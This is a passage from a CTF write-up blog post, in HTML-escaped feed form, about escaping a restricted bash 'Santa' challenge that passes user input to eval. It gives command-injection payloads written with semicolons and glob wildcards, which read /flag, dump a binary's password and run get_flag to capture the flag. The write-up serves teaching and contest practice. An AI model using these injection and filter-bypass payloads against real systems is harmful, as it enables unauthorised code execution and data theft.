        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;present&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;c&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Ahhh candy is great!&amp;quot;&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;santa&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;$santa --choice candy&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Mhhm healthy apples, good choice!&amp;quot;&lt;/span&gt;
            &lt;span class=&quot;nv&quot;&gt;santa&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;$santa --choice apples&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;But as you know only the nice people deserve a present from Santa!\n&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;Do you think you have been [${b}n$reset]aughty or n[${b}i$reset]ce?&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;gt; &amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;naughtiness&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;$(&lt;/span&gt;get_input ^&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;n&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;i&lt;span class=&quot;se&quot;&gt;\)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;santa&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;$santa --naughtiness $naughtiness&amp;quot;&lt;/span&gt;

        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -e &lt;span class=&quot;s2&quot;&gt;&amp;quot;Ok I have prepared your request and will send it off to Santa!\n&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Let&amp;#39;s see what he has to say:&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;eval&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;$santa&amp;quot;&lt;/span&gt; &amp;lt;&lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;-
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;Well ok then.. bye!&amp;quot;&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;    exit&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The variable from which I then start to plan the attack is from the &lt;code&gt;$naughtiness&lt;/code&gt;. If I pass a semicolon &lt;code&gt;;&lt;/code&gt; and I use only one of either &lt;code&gt;n&lt;/code&gt; or &lt;code&gt;i&lt;/code&gt; from all the &lt;code&gt;ALLOWED_CHARS&lt;/code&gt;, then I can execute arbitrary(?) code.&lt;/p&gt;

&lt;p&gt;Now comes the difficult part. Figuring out what arbitrary code works.&lt;/p&gt;

&lt;p&gt;The first try is to do the following:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;n ; /*/* ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is met with the error:
&lt;code&gt;
/bin/cat: /bin/cat: cannot execute binary file
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/7-cat-binary.png&quot; alt=&quot;cannot execute binary file&quot;&gt;&lt;/p&gt;

&lt;p&gt;What?!?&lt;/p&gt;

&lt;p&gt;Still, this let&amp;#39;s me realize that I might be close to the solution, and I pursue on, trying to find ways to output stuff from the system that might be more useful.&lt;/p&gt;

&lt;p&gt;Suddenly, I remember &lt;code&gt;/bin/dir&lt;/code&gt;. I could use the wildcards to ensure I pull that function.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;; /*/*i* ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This gives me a &lt;em&gt;lot&lt;/em&gt; of output. The nice thing though: &lt;code&gt;/bin/dir&lt;/code&gt; is the first file on the system that satisfies that wildcard. Otherwise, I&amp;#39;d not have been able to execute it (at least so easily). The other nice thing: for &lt;code&gt;dir&lt;/code&gt;, it takes multiple different inputs, so we can use that to get more output.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;; /*/*i* / /* /*/* ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This gives even more output, which I store (in &lt;a href=&quot;dir_output&quot;&gt;&lt;code&gt;dir_output&lt;/code&gt;&lt;/a&gt;), and start to manually go through.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(PS: As an after thought, I don&amp;#39;t really need the semicolon and hash symbol everywhere, but I kept putting it during the contest, so in the interest of maintaining accuracy with what was done during the contest, I will continue using it)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Well, there&amp;#39;s good news and bad news (in the same directory &lt;code&gt;/&lt;/code&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/8-root-directory.png&quot; alt=&quot;root directory&quot;&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;flag&lt;/code&gt; is right there, but the presence of &lt;code&gt;get_flag&lt;/code&gt; there probably means that we cannot directly output the flag. :(&lt;/p&gt;

&lt;h3&gt;So close, and yet so far&lt;/h3&gt;

&lt;p&gt;In trying to figure out how I might be able to &lt;code&gt;cat&lt;/code&gt; the &lt;code&gt;/flag&lt;/code&gt; or execute &lt;code&gt;/get_flag&lt;/code&gt;, I suddenly remember that there is another wildcard operator that I can use -- the single character wildcard &lt;code&gt;?&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I try to run &lt;code&gt;/get_flag&lt;/code&gt;, hoping that this is the end of the challenge (since I have been postponing sleep for quite a while at this point).&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;n ; /???????? ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output? &lt;code&gt;Usage: /get_flag password&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Shit. How am I supposed to know the password?!? I thought I should have gotten the flag by now!&lt;/p&gt;

&lt;p&gt;I decide I&amp;#39;ll work on dumping the &lt;code&gt;/flag&lt;/code&gt; itself instead.&lt;/p&gt;

&lt;p&gt;I mean, I could just &lt;code&gt;cat&lt;/code&gt; it right?&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;n ; /???/??? /???? ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;pics/9-cat-flag.png&quot; alt=&quot;cat flag&quot;&gt;&lt;/p&gt;

&lt;p&gt;Amongst a huge amount of output (all from sending me different binaries that matched the &lt;code&gt;/???/???&lt;/code&gt;), I get this one irritating line: &lt;code&gt;/bin/cat: /flag: Permission denied&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Hmmm... So I cannot just &lt;code&gt;cat&lt;/code&gt; it. I&amp;#39;ll have to pull the info from executing the &lt;code&gt;get_flag&lt;/code&gt; binary itself (or come up with some kind of privilege escalation, but I am hoping it doesn&amp;#39;t need me to do that).&lt;/p&gt;

&lt;h3&gt;Can I Haz Ze Password?&lt;/h3&gt;

&lt;p&gt;Using the same &lt;code&gt;cat&lt;/code&gt; trick, I can dump the &lt;code&gt;get_flag&lt;/code&gt; binary and try to analyze it offline, and then get the password. Fortunately though, when I cat it, I notice a string that looks like the password, and I decide that I&amp;#39;ll just assume this is the password, rather than analyze it further.&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;n ; /???/??? /???????? ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;pics/10-cat-get-flag.png&quot; alt=&quot;cat get_flag&quot;&gt;&lt;/p&gt;

&lt;p&gt;The password appears to be &lt;code&gt;gimme_fl4g_plzzzz&lt;/code&gt;. All I got to do now, is execute &lt;code&gt;/get_flag gimme_fl4g_plzzzz&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is where I get stuck for quite a while.&lt;/p&gt;

&lt;p&gt;I start to analyze different executables from &lt;code&gt;/usr/bin/&lt;/code&gt; and &lt;code&gt;/bin/&lt;/code&gt; in order to find anything that is useful.&lt;/p&gt;

&lt;p&gt;I soon figure out that I can call &lt;code&gt;/usr/bin/printf&lt;/code&gt; using &lt;code&gt;; /???/???/???n??&lt;/code&gt; but am unable to take it much further along this path, mainly due to the lack of alphanumerics allowed.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/usr/bin/strings&lt;/code&gt; binary however is very useful to get strings from a file, and it turns out that the string &lt;code&gt;/???/???/????n??&lt;/code&gt; matches only it. This is extremely useful since I can control it exactly now.&lt;/p&gt;

&lt;p&gt;I now run &lt;code&gt;/usr/bin/strings /get_flag&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;; /???/???/????n?? /???????? ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;pics/11-strings-get-flag.png&quot; alt=&quot;strings get_flag&quot;&gt;&lt;/p&gt;

&lt;p&gt;Right near the top, I can see the password, plain as day &lt;code&gt;gimme_fl4g_plzzzz&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I am now a 100% convinced that this is the password. I just need to put this into &lt;code&gt;argv[1]&lt;/code&gt; of &lt;code&gt;/get_flag&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;Hours of torture&lt;/h3&gt;

&lt;p&gt;I now spend many hours trying to think of ways of bringing this to &lt;code&gt;argv[1]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I know I can write the output to a file, and have done so already, but I cannot seem to figure out how to run &lt;code&gt;head&lt;/code&gt; or &lt;code&gt;tail&lt;/code&gt; or &lt;code&gt;awk&lt;/code&gt; or &lt;code&gt;sed&lt;/code&gt; or &lt;code&gt;grep&lt;/code&gt; or anything useful for that matter.&lt;/p&gt;

&lt;p&gt;I spend more hours poring through many many &lt;code&gt;bash&lt;/code&gt; guides and manuals and CTF writeups but all of them seem to require &lt;code&gt;=&lt;/code&gt; or similar as a way of pulling out of this kind of jail.&lt;/p&gt;

&lt;p&gt;Finally, it hits me at one point. I can generate numbers easy enough (explained soon) -- what if I could abuse and use &lt;code&gt;xxd&lt;/code&gt; or even &lt;code&gt;printf&lt;/code&gt;, but to no avail (no &lt;code&gt;xxd&lt;/code&gt; on the system, and I cannot seem to use the &lt;code&gt;printf&lt;/code&gt; to my advantage).&lt;/p&gt;

&lt;h3&gt;Squawk!&lt;/h3&gt;

&lt;p&gt;After spending hours looking through the different possible executables, trying to find one that I can use to get the password into the &lt;code&gt;argv[1]&lt;/code&gt; using &lt;code&gt;$()&lt;/code&gt; or similar structure, I come across &lt;code&gt;/etc/alternatives/nawk&lt;/code&gt;. Finally!&lt;/p&gt;

&lt;p&gt;I can use &lt;code&gt;nawk&lt;/code&gt; (equivalent to &lt;code&gt;awk&lt;/code&gt;) as a primitive way to do a &lt;code&gt;grep&lt;/code&gt;, and use that to get &lt;em&gt;only&lt;/em&gt; the password.&lt;/p&gt;

&lt;p&gt;But what kind of regex can I pass if I cannot use either underscores (&lt;code&gt;_&lt;/code&gt;) or alphanumerics (&lt;code&gt;a-zA-Z0-9&lt;/code&gt;)?&lt;/p&gt;

&lt;p&gt;Bash to the rescue! I can generate numbers on the fly. How? I can get the number &lt;code&gt;1&lt;/code&gt; using the following &lt;code&gt;$((${#?} / ${#?}))&lt;/code&gt;. In order to get the number &lt;code&gt;4&lt;/code&gt;, I&amp;#39;d just need to string up four 1s.&lt;/p&gt;

&lt;p&gt;If I use temporary files in the current directory, then I&amp;#39;d not mess with anyone else&amp;#39;s work, since it is sandboxed, so I use this as a way to be able to pipe (since I cannot call &lt;code&gt;nawk&lt;/code&gt; without using the &lt;code&gt;n&lt;/code&gt;, which means only one &lt;code&gt;nawk&lt;/code&gt; invocation per execution).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(PS: In the executions below, I first execute without the&lt;/em&gt; &lt;code&gt;&amp;gt;@@@...&lt;/code&gt;&lt;em&gt;, to see the output, and then execute it with it, to store the output.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;First, I store the strings: &lt;code&gt;/usr/bin/strings /get_flag &amp;gt;@@@@@@@@&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;; /???/???/????n?? /???????? &amp;gt;@@@@@@@@ ; #
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In this, I can filter out all strings without &lt;code&gt;4&lt;/code&gt; in them. The regex &lt;code&gt;/4/&lt;/code&gt; will keep only strings that have the &lt;code&gt;4&lt;/code&gt; in them: &lt;code&gt;/etc/alternatives/nawk &amp;#39;/4/&amp;#39; &amp;lt;@@@@@@@@ &amp;gt;@@@@&lt;/code&gt;
&lt;code&gt;
; /???/????????????/n??? &amp;#39;/&amp;#39;$((${#?} / ${#?} + ${#?} / ${#?} + ${#?} / ${#?} + ${#?} / ${#?}))&amp;#39;/&amp;#39; &amp;lt;@@@@@@@@ &amp;gt;@@@@; #
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, I notice that there are some strings that have the &lt;code&gt;:&lt;/code&gt; character in them but the password I need does not. So I filter those out: &lt;code&gt;/etc/alternatives/nawk &amp;#39;/^[^:]+$/&amp;#39; &amp;lt;@@@@ &amp;gt;@@&lt;/code&gt;
&lt;code&gt;
; /???/????????????/n??? &amp;#39;/^[^:]+$/&amp;#39; &amp;lt;@@@@ &amp;gt;@@; #
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This leaves a &lt;em&gt;very&lt;/em&gt; few strings, and I notice that the number &lt;code&gt;2&lt;/code&gt; can be filtered out: &lt;code&gt;/etc/alternatives/nawk &amp;#39;/^[^2]+$/&amp;#39; &amp;lt;@@ &amp;gt;@&lt;/code&gt;
&lt;code&gt;
; /???/????????????/n??? &amp;#39;/^[^&amp;#39;$((${#?} / ${#?} + ${#?} / ${#?}))&amp;#39;]+$/&amp;#39; &amp;lt;@@ &amp;gt;@; #
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, the &lt;code&gt;@&lt;/code&gt; file contains the required password, and I just need to execute &lt;code&gt;/get_flag $(&amp;lt;@)&lt;/code&gt;
&lt;code&gt;
; /???????? $(&amp;lt;@) ; # n
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Success! Finally, the flag! Well, almost...&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;pics/12-flag.png&quot; alt=&quot;The flag&quot;&gt;&lt;/p&gt;

&lt;p&gt;The flag was in a very zig-zag form and in that sleep-deprived state I was, I transcribed it wrong and the web interface refused to accept the flag...&lt;/p&gt;

&lt;p&gt;I decided to retry transcribing it once more, before complaining to the organizers, and it accepted it then. 350 points to our team!&lt;/p&gt;

&lt;p&gt;Finally I could sleep!&lt;/p&gt;

&lt;h2&gt;The End?&lt;/h2&gt;

&lt;p&gt;Great challenge by the setters. Thanks a lot for the layers, though I did get frustrated at times. That&amp;#39;s where the fun lies, right :)&lt;/p&gt;

&lt;p&gt;If you have read this far, thanks for reading too. If you have any improvements on the technique, or did it differently, or have suggestions to make, I&amp;#39;d be happy to hear about them or read your write-up on the same.&lt;/p&gt;

&lt;p&gt;Cheers!&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;I originally wrote this for the InfoSecIITR &lt;a href=&quot;https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho&quot;&gt;writeups
repository&lt;/a&gt;. Adapted
it with minor stylistic changes for the blog.&lt;/p&gt;
</content>
 </entry>
 

</feed>
